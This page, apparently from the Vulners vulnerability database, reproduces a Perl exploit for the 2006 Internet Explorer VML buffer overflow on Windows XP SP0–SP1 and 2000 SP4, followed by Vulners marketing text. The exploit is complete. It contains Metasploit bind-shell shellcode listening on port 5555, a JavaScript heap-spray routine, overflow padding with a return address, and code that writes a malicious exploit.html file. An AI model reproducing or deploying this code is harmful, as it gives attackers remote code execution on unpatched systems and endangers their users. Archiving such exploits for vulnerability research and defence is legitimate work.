Vulners
Lucene search
MS Internet Explorer (VML) Remote Buffer Overflow Exploit (XP SP1)
#!/usr/bin/perl
#
# Microsoft Internet Explorer VML Remote Buffer Overflow (Windows XP SP0-SP1 +
# Windows 2000 SP4)
#
# Author: Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
# For educational purpose only
#
# Note: This exploit is modified from Shirkdog's PoC
# (http://www.milw0rm.com/exploits/2400)
#
# I exploit the stack-based buffer overflow in the different manner because of
# the problem of shellcode. I use heap spraying technique to injection my
# shellcode in the heap. Because I can control EIP so I tell it to jump into
# the heap that contains shellcode ^-^
#
# This exploit tested on: Windows XP SP1 + IE6 SP1
# Windows XP SP0 + IE6
# Windows 2000 SP4 + IE6 SP1
# Windows 2000 SP4 + IE6
#
# I will describe more implementation details at my blog in this weekend :)
#
# P.S. Because of the buffer overflow protection mechanism in Windows XP SP2,
# This exploit is not success. The situation that overwrite to the location
# that eax point to is not occured, so I cannot use my techqniue
# "The Fake Cookie" that I use to break buffer overflow protection in
# Windows Server 2003 SP0 to bypass it. If anybody can break this protection
# with some techniques, plz share information :)
#
use strict;
# win32_bind LPORT = 5555 - Metasploit
my $shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0".
"\x66\x68\x15\xb3\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff".
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53".
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff".
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64".
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89".
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab".
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51".
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53".
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6".
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
my $jscript =
"<script>\n" .
"shellcode = unescape(\"" . convert_shellcode($shellcode) ."\");\n" .
"bigblock = unescape(\"\%u9090\%u9090\");\n" .
"headersize = 20;\n" .
"slackspace = headersize+shellcode.length;\n" .
"while (bigblock.length<slackspace) bigblock+=bigblock;\n" .
"fillblock = bigblock.substring(0, slackspace);\n" .
"block = bigblock.substring(0, bigblock.length-slackspace);\n" .
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n" .
"memory = new Array();\n" .
"for (i=0;i<350;i++) memory[i] = block + shellcode;\n" .
"</script>";
my $header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n" .
"<head>\n" .
"<object id=\"VMLRender\" classid=\"CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E\">\n" .
"</object>\n" .
"<style>\n" .
"v\\:* { behavior: url(#VMLRender); }\n" .
"</style>\n" .
"</head>\n" .
$jscript .
"<body>\n" .
"<v:rect style='width:120pt;height:80pt' fillcolor=\"red\">\n" ;
my $footer =
"</v:rect>\n" .
"</body>\n" .
"</html>";
my $body1 = "<v:fill method=\"" ;
my $body2 =
"\" angle=\"-45\"\n" .
"focus=\"100%\" focusposition=\".5,.5\" focussize=\"0,0\"\n" .
"type=\"gradientRadial\" />\n" .
"</v:rect>\n" .
"</body>\n" .
"</html>";
my $page = "\xff\xfe"; # magic number of M$ unicode file
my $c;
# header + body1
foreach $c (split //, ($header . $body1)) {
$page = $page . $c . "\x00";
}
# padding + ret
$page = $page . "\x41\x00" x (256) . # padding
"\x01\x0d\x0d\x0d" . # writable memory
"\x44\x44\x44\x44" . # padding
"\x0d\x0d\x0d\x0d"; # return address
# body2 + footer
foreach $c (split //, ($body2 . $footer)) {
$page = $page . $c . "\x00";
}
open (IE_VML, ">", "exploit.html");
print IE_VML $page;
close IE_VML;
# This function copy from JSUnescape() code in Metasploit
sub convert_shellcode {
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';
# Encode the shellcode via %u sequences for JS's unescape() function
my $idx = 0;
# Pad to an even number of bytes
if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}
while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}
return $code;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Oct 2006 00:00Current
7.1High risk
Vulners AI Score7.1